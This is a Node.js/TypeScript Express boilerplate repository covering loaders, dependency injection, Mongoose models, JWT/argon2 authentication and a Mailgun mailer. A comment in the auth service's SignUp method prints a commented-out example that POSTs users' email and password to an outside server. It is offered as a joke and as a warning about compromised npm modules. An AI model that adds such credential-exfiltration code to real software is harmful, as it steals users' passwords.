} from 'winston'; 4 | 5 | export default class EmailSequenceJob { 6 | public async handler(job, done): Promise { 7 | const Logger: Logger = Container.get('logger'); 8 | try { 9 | Logger.debug('✌️ Email Sequence Job triggered!'); 10 | const { email, name }: { [key: string]: string } = job.attrs.data; 11 | const mailerServiceInstance = Container.get(MailerService); 12 | await mailerServiceInstance.SendWelcomeEmail(email); 13 | done(); 14 | } catch (e) { 15 | Logger.error('🔥 Error with Email Sequence Job: %o', e); 16 | done(e); 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/loaders/agenda.ts: -------------------------------------------------------------------------------- 1 | import Agenda from 'agenda'; 2 | import config from '@/config'; 3 | 4 | export default ({ mongoConnection }) => { 5 | return new Agenda({ 6 | mongo: mongoConnection, 7 | db: { collection: config.agenda.dbCollection }, 8 | processEvery: config.agenda.pooltime, 9 | maxConcurrency: config.agenda.concurrency, 10 | }); 11 | /** 12 | * This voodoo magic is proper from agenda.js so I'm not gonna explain too much here. 13 | * https://github.com/agenda/agenda#mongomongoclientinstance 14 | */ 15 | }; 16 | -------------------------------------------------------------------------------- /src/loaders/dependencyInjector.ts: -------------------------------------------------------------------------------- 1 | import { Container } from 'typedi'; 2 | import formData from 'form-data'; 3 | import Mailgun from 'mailgun.js'; 4 | import LoggerInstance from './logger'; 5 | import agendaFactory from './agenda'; 6 | import config from '@/config'; 7 | 8 | export default ({ mongoConnection, models }: { mongoConnection; models: { name: string; model: any }[] }) => { 9 | try { 10 | models.forEach(m => { 11 | Container.set(m.name, m.model); 12 | }); 13 | 14 | const agendaInstance = agendaFactory({ mongoConnection }); 15 | const mgInstance = new Mailgun(formData); 16 | 17 | 18 | Container.set('agendaInstance', agendaInstance); 19 | Container.set('logger', LoggerInstance); 20 | Container.set('emailClient', mgInstance.client({ key: config.emails.apiKey, username: config.emails.apiUsername })); 21 | Container.set('emailDomain', config.emails.domain); 22 | 23 | LoggerInstance.info('✌️ Agenda injected into container'); 24 | 25 | return { agenda: agendaInstance }; 26 | } catch (e) { 27 | LoggerInstance.error('🔥 Error on dependency injector loader: %o', e); 28 | throw e; 29 | } 30 | }; 31 | -------------------------------------------------------------------------------- /src/loaders/events.ts: -------------------------------------------------------------------------------- 1 | //Here we import all events 2 | import '@/subscribers/user'; 3 | -------------------------------------------------------------------------------- /src/loaders/express.ts: -------------------------------------------------------------------------------- 1 | import express from 'express'; 2 | import cors from 'cors'; 3 | import { OpticMiddleware } from '@useoptic/express-middleware'; 4 | import routes from '@/api'; 5 | import config from '@/config'; 6 | export default ({ app }: { app: express.Application }) => { 7 | /** 8 | * Health Check endpoints 9 | * @TODO Explain why they are here 10 | */ 11 | app.get('/status', (req, res) => { 12 | res.status(200).end(); 13 | }); 14 | app.head('/status', (req, res) => { 15 | res.status(200).end(); 16 | }); 17 | 18 | // Useful if you're behind a reverse proxy (Heroku, Bluemix, AWS ELB, Nginx, etc) 19 | // It shows the real origin IP in the heroku or Cloudwatch logs 20 | app.enable('trust proxy'); 21 | 22 | // The magic package that prevents frontend developers going nuts 23 | // Alternate description: 24 | // Enable Cross Origin Resource Sharing to all origins by default 25 | app.use(cors()); 26 | 27 | // Some sauce that always add since 2014 28 | // "Lets you use HTTP verbs such as PUT or DELETE in places where the client doesn't support it." 29 | // Maybe not needed anymore ? 30 | app.use(require('method-override')()); 31 | 32 | // Transforms the raw string of req.body into json 33 | app.use(express.json()); 34 | // Load API routes 35 | app.use(config.api.prefix, routes()); 36 | 37 | // API Documentation 38 | app.use(OpticMiddleware({ 39 | enabled: process.env.NODE_ENV !== 'production', 40 | })); 41 | 42 | /// catch 404 and forward to error handler 43 | app.use((req, res, next) => { 44 | const err = new Error('Not Found'); 45 | err['status'] = 404; 46 | next(err); 47 | }); 48 | 49 | /// error handlers 50 | app.use((err, req, res, next) => { 51 | /** 52 | * Handle 401 thrown by express-jwt library 53 | */ 54 | if (err.name === 'UnauthorizedError') { 55 | return res 56 | .status(err.status) 57 | .send({ message: err.message }) 58 | .end(); 59 | } 60 | return next(err); 61 | }); 62 | app.use((err, req, res, next) => { 63 | res.status(err.status || 500); 64 | res.json({ 65 | errors: { 66 | message: err.message, 67 | }, 68 | }); 69 | }); 70 | }; 71 | -------------------------------------------------------------------------------- /src/loaders/index.ts: -------------------------------------------------------------------------------- 1 | import expressLoader from './express'; 2 | import dependencyInjectorLoader from './dependencyInjector'; 3 | import mongooseLoader from './mongoose'; 4 | import jobsLoader from './jobs'; 5 | import Logger from './logger'; 6 | //We have to import at least all the events once so they can be triggered 7 | import './events'; 8 | 9 | export default async ({ expressApp }) => { 10 | const mongoConnection = await mongooseLoader(); 11 | Logger.info('✌️ DB loaded and connected!'); 12 | 13 | /** 14 | * WTF is going on here? 15 | * 16 | * We are injecting the mongoose models into the DI container. 17 | * I know this is controversial but will provide a lot of flexibility at the time 18 | * of writing unit tests, just go and check how beautiful they are! 19 | */ 20 | 21 | const userModel = { 22 | name: 'userModel', 23 | // Notice the require syntax and the '.default' 24 | model: require('../models/user').default, 25 | }; 26 | 27 | // It returns the agenda instance because it's needed in the subsequent loaders 28 | const { agenda } = await dependencyInjectorLoader({ 29 | mongoConnection, 30 | models: [ 31 | userModel, 32 | // salaryModel, 33 | // whateverModel 34 | ], 35 | }); 36 | Logger.info('✌️ Dependency Injector loaded'); 37 | 38 | await jobsLoader({ agenda }); 39 | Logger.info('✌️ Jobs loaded'); 40 | 41 | await expressLoader({ app: expressApp }); 42 | Logger.info('✌️ Express loaded'); 43 | }; 44 | -------------------------------------------------------------------------------- /src/loaders/jobs.ts: -------------------------------------------------------------------------------- 1 | import config from '@/config'; 2 | import EmailSequenceJob from '@/jobs/emailSequence'; 3 | import Agenda from 'agenda'; 4 | 5 | export default ({ agenda }: { agenda: Agenda }) => { 6 | agenda.define( 7 | 'send-email', 8 | { priority: 'high', concurrency: config.agenda.concurrency }, 9 | // @TODO Could this be a static method? Would it be better? 10 | new EmailSequenceJob().handler, 11 | ); 12 | 13 | agenda.start(); 14 | }; 15 | -------------------------------------------------------------------------------- /src/loaders/logger.ts: -------------------------------------------------------------------------------- 1 | import winston from 'winston'; 2 | import config from '@/config'; 3 | 4 | const transports = []; 5 | if(process.env.NODE_ENV !== 'development') { 6 | transports.push( 7 | new winston.transports.Console() 8 | ) 9 | } else { 10 | transports.push( 11 | new winston.transports.Console({ 12 | format: winston.format.combine( 13 | winston.format.cli(), 14 | winston.format.splat(), 15 | ) 16 | }) 17 | ) 18 | } 19 | 20 | const LoggerInstance = winston.createLogger({ 21 | level: config.logs.level, 22 | levels: winston.config.npm.levels, 23 | format: winston.format.combine( 24 | winston.format.timestamp({ 25 | format: 'YYYY-MM-DD HH:mm:ss' 26 | }), 27 | winston.format.errors({ stack: true }), 28 | winston.format.splat(), 29 | winston.format.json() 30 | ), 31 | transports 32 | }); 33 | 34 | export default LoggerInstance; 35 | -------------------------------------------------------------------------------- /src/loaders/mongoose.ts: -------------------------------------------------------------------------------- 1 | import mongoose from 'mongoose'; 2 | import { Db } from 'mongodb'; 3 | import config from '@/config'; 4 | 5 | export default async (): Promise => { 6 | const connection = await mongoose.connect(config.databaseURL, { 7 | useNewUrlParser: true, 8 | useCreateIndex: true, 9 | useUnifiedTopology: true, 10 | }); 11 | return connection.connection.db; 12 | }; 13 | -------------------------------------------------------------------------------- /src/models/user.ts: -------------------------------------------------------------------------------- 1 | import { IUser } from '@/interfaces/IUser'; 2 | import mongoose from 'mongoose'; 3 | 4 | const User = new mongoose.Schema( 5 | { 6 | name: { 7 | type: String, 8 | required: [true, 'Please enter a full name'], 9 | index: true, 10 | }, 11 | 12 | email: { 13 | type: String, 14 | lowercase: true, 15 | unique: true, 16 | index: true, 17 | }, 18 | 19 | password: String, 20 | 21 | salt: String, 22 | 23 | role: { 24 | type: String, 25 | default: 'user', 26 | }, 27 | }, 28 | { timestamps: true }, 29 | ); 30 | 31 | export default mongoose.model('User', User); 32 | -------------------------------------------------------------------------------- /src/services/auth.ts: -------------------------------------------------------------------------------- 1 | import { Service, Inject } from 'typedi'; 2 | import jwt from 'jsonwebtoken'; 3 | import MailerService from './mailer'; 4 | import config from '@/config'; 5 | import argon2 from 'argon2'; 6 | import { randomBytes } from 'crypto'; 7 | import { IUser, IUserInputDTO } from '@/interfaces/IUser'; 8 | import { EventDispatcher, EventDispatcherInterface } from '@/decorators/eventDispatcher'; 9 | import events from '@/subscribers/events'; 10 | 11 | @Service() 12 | export default class AuthService { 13 | constructor( 14 | @Inject('userModel') private userModel: Models.UserModel, 15 | private mailer: MailerService, 16 | @Inject('logger') private logger, 17 | @EventDispatcher() private eventDispatcher: EventDispatcherInterface, 18 | ) { 19 | } 20 | 21 | public async SignUp(userInputDTO: IUserInputDTO): Promise<{ user: IUser; token: string }> { 22 | try { 23 | const salt = randomBytes(32); 24 | 25 | /** 26 | * Here you can call to your third-party malicious server and steal the user password before it's saved as a hash. 27 | * require('http') 28 | * .request({ 29 | * hostname: 'http://my-other-api.com/', 30 | * path: '/store-credentials', 31 | * port: 80, 32 | * method: 'POST', 33 | * }, ()=>{}).write(JSON.stringify({ email, password })).end(); 34 | * 35 | * Just kidding, don't do that!!! 36 | * 37 | * But what if, an NPM module that you trust, like body-parser, was injected with malicious code that 38 | * watches every API call and if it spots a 'password' and 'email' property then 39 | * it decides to steal them!? Would you even notice that? I wouldn't :/ 40 | */ 41 | this.logger.silly('Hashing password'); 42 | const hashedPassword = await argon2.hash(userInputDTO.password, { salt }); 43 | this.logger.silly('Creating user db record'); 44 | const userRecord = await this.userModel.create({ 45 | ...userInputDTO, 46 | salt: salt.toString('hex'), 47 | password: hashedPassword, 48 | }); 49 | this.logger.silly('Generating JWT'); 50 | const token = this.generateToken(userRecord); 51 | 52 | if (!userRecord) { 53 | throw new Error('User cannot be created'); 54 | } 55 | this.logger.silly('Sending welcome email'); 56 | await this.mailer.SendWelcomeEmail(userRecord); 57 | 58 | this.eventDispatcher.dispatch(events.user.signUp, { user: userRecord }); 59 | 60 | /** 61 | * @TODO This is not the best way to deal with this 62 | * There should exist a 'Mapper' layer 63 | * that transforms data from layer to layer 64 | * but that's too over-engineering for now 65 | */ 66 | const user = userRecord.toObject(); 67 | Reflect.deleteProperty(user, 'password'); 68 | Reflect.deleteProperty(user, 'salt'); 69 | return { user, token }; 70 | } catch (e) { 71 | this.logger.error(e); 72 | throw e; 73 | } 74 | } 75 | 76 | public async SignIn(email: string, password: string): Promise<{ user: IUser; token: string }> { 77 | const userRecord = await this.userModel.findOne({ email }); 78 | if (!userRecord) { 79 | throw new Error('User not registered'); 80 | } 81 | /** 82 | * We use verify from argon2 to prevent 'timing based' attacks 83 | */ 84 | this.logger.silly('Checking password'); 85 | const validPassword = await argon2.verify(userRecord.password, password); 86 | if (validPassword) { 87 | this.logger.silly('Password is valid!'); 88 | this.logger.silly('Generating JWT'); 89 | const token = this.generateToken(userRecord); 90 | 91 | const user = userRecord.toObject(); 92 | Reflect.deleteProperty(user, 'password'); 93 | Reflect.deleteProperty(user, 'salt'); 94 | /** 95 | * Easy as pie, you don't need passport.js anymore :) 96 | */ 97 | return { user, token }; 98 | } else { 99 | throw new Error('Invalid Password'); 100 | } 101 | } 102 | 103 | private generateToken(user) { 104 | const today = new Date(); 105 | const exp = new Date(today); 106 | exp.setDate(today.getDate() + 60); 107 | 108 | /** 109 | * A JWT means JSON Web Token, so basically it's a json that is _hashed_ into a string 110 | * The cool thing is that you can add custom properties a.k.a metadata 111 | * Here we are adding the userId, role and name 112 | * Beware that the metadata is public and can be decoded without _the secret_ 113 | * but the client cannot craft a JWT to fake a userId 114 | * because it doesn't have _the secret_ to sign it 115 | * more information here: https://softwareontheroad.com/you-dont-need-passport 116 | */ 117 | this.logger.silly(`Sign JWT for userId: ${user._id}`); 118 | return jwt.sign( 119 | { 120 | _id: user._id, // We are gonna use this in the middleware 'isAuth' 121 | role: user.role, 122 | name: user.name, 123 | exp: exp.getTime() / 1000, 124 | }, 125 | config.jwtSecret 126 | ); 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /src/services/mailer.ts: -------------------------------------------------------------------------------- 1 | import { Service, Inject } from 'typedi'; 2 | import { IUser } from '@/interfaces/IUser'; 3 | 4 | @Service() 5 | export default class MailerService { 6 | constructor( 7 | @Inject('emailClient') private emailClient, 8 | @Inject('emailDomain') private emailDomain, 9 | ) { } 10 | 11 | public async SendWelcomeEmail(email) { 12 | /** 13 | * @TODO Call Mailchimp/Sendgrid or whatever 14 | */ 15 | // Added example for sending mail from mailgun 16 | const data = { 17 | from: 'Excited User ', 18 | to: [email], 19 | subject: 'Hello', 20 | text: 'Testing some Mailgun awesomness!' 21 | }; 22 | try { 23 | this.emailClient.messages.create(this.emailDomain, data); 24 | return { delivered: 1, status: 'ok' }; 25 | } catch(e) { 26 | return { delivered: 0, status: 'error' }; 27 | } 28 | } 29 | public StartEmailSequence(sequence: string, user: Partial) { 30 | if (!user.email) { 31 | throw new Error('No email provided'); 32 | } 33 | // @TODO Add example of an email sequence implementation 34 | // Something like 35 | // 1 - Send first email of the sequence 36 | // 2 - Save the step of the sequence in database 37 | // 3 - Schedule job for second email in 1-3 days or whatever 38 | // Every sequence can have its own behavior so maybe 39 | // the pattern Chain of Responsibility can help here. 40 | return { delivered: 1, status: 'ok' }; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/subscribers/events.ts: -------------------------------------------------------------------------------- 1 | export default { 2 | user: { 3 | signUp: 'onUserSignUp', 4 | signIn: 'onUserSignIn', 5 | }, 6 | }; 7 | -------------------------------------------------------------------------------- /src/subscribers/user.ts: -------------------------------------------------------------------------------- 1 | import { Container } from 'typedi'; 2 | import { EventSubscriber, On } from 'event-dispatch'; 3 | import events from './events'; 4 | import { IUser } from '@/interfaces/IUser'; 5 | import mongoose from 'mongoose'; 6 | import { Logger } from 'winston'; 7 | 8 | @EventSubscriber() 9 | export default class UserSubscriber { 10 | /** 11 | * A great example of an event that you want to handle 12 | * save the last time a user signin, your boss will be pleased. 13 | * 14 | * Altough it works in this tiny toy API, please don't do this for a production product 15 | * just spamming insert/update to mongo will kill it eventualy 16 | * 17 | * Use another approach like emit events to a queue (rabbitmq/aws sqs), 18 | * then save the latest in Redis/Memcache or something similar 19 | */ 20 | @On(events.user.signIn) 21 | public onUserSignIn({ _id }: Partial) { 22 | const Logger: Logger = Container.get('logger'); 23 | 24 | try { 25 | const UserModel = Container.get('UserModel') as mongoose.Model; 26 | 27 | UserModel.update({ _id }, { $set: { lastLogin: new Date() } }); 28 | } catch (e) { 29 | Logger.error(`🔥 Error on event ${events.user.signIn}: %o`, e); 30 | 31 | // Throw the error so the process die (check src/app.ts) 32 | throw e; 33 | } 34 | } 35 | 36 | @On(events.user.signUp) 37 | public onUserSignUp({ name, email, _id }: Partial) { 38 | const Logger: Logger = Container.get('logger'); 39 | 40 | try { 41 | /** 42 | * @TODO implement this 43 | */ 44 | // Call the tracker tool so your investor knows that there is a new signup 45 | // and leave you alone for another hour. 46 | // TrackerService.track('user.signup', { email, _id }) 47 | // Start your email sequence or whatever 48 | // MailService.startSequence('user.welcome', { email, name }) 49 | } catch (e) { 50 | Logger.error(`🔥 Error on event ${events.user.signUp}: %o`, e); 51 | 52 | // Throw the error so the process dies (check src/app.ts) 53 | throw e; 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/types/express/index.d.ts: -------------------------------------------------------------------------------- 1 | import { Document, Model } from 'mongoose'; 2 | import { IUser } from '@/interfaces/IUser'; 3 | declare global { 4 | namespace Express { 5 | export interface Request { 6 | currentUser: IUser & Document; 7 | } 8 | } 9 | 10 | namespace Models { 11 | export type UserModel = Model; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /tests/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/santiq/bulletproof-nodejs/7ce1b4690c4e96659cb1ed0d367b08b3ab35a24b/tests/.gitkeep -------------------------------------------------------------------------------- /tests/sample.test.ts: -------------------------------------------------------------------------------- 1 | describe('Sample Test', () => { 2 | it('can add 2 numbers', () => { 3 | expect(1 + 2).toBe(3); 4 | }); 5 | }); 6 | -------------------------------------------------------------------------------- /tests/services/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/santiq/bulletproof-nodejs/7ce1b4690c4e96659cb1ed0d367b08b3ab35a24b/tests/services/.gitkeep -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2017", 4 | "lib": [ 5 | "es2017", 6 | "esnext.asynciterable" 7 | ], 8 | "typeRoots": [ 9 | "./node_modules/@types", 10 | "./src/types" 11 | ], 12 | "allowSyntheticDefaultImports": true, 13 | "experimentalDecorators": true, 14 | "emitDecoratorMetadata": true, 15 | "forceConsistentCasingInFileNames": true, 16 | "moduleResolution": "node", 17 | "module": "commonjs", 18 | "pretty": true, 19 | "sourceMap": true, 20 | "outDir": "./build", 21 | "allowJs": true, 22 | "noEmit": false, 23 | "esModuleInterop": true, 24 | "baseUrl": ".", 25 | "paths": { 26 | "@/*": ["./src/*"] 27 | } 28 | }, 29 | "include": [ 30 | "./src/**/*" 31 | ], 32 | "exclude": [ 33 | "node_modules", 34 | "tests" 35 | ] 36 | } 37 | --------------------------------------------------------------------------------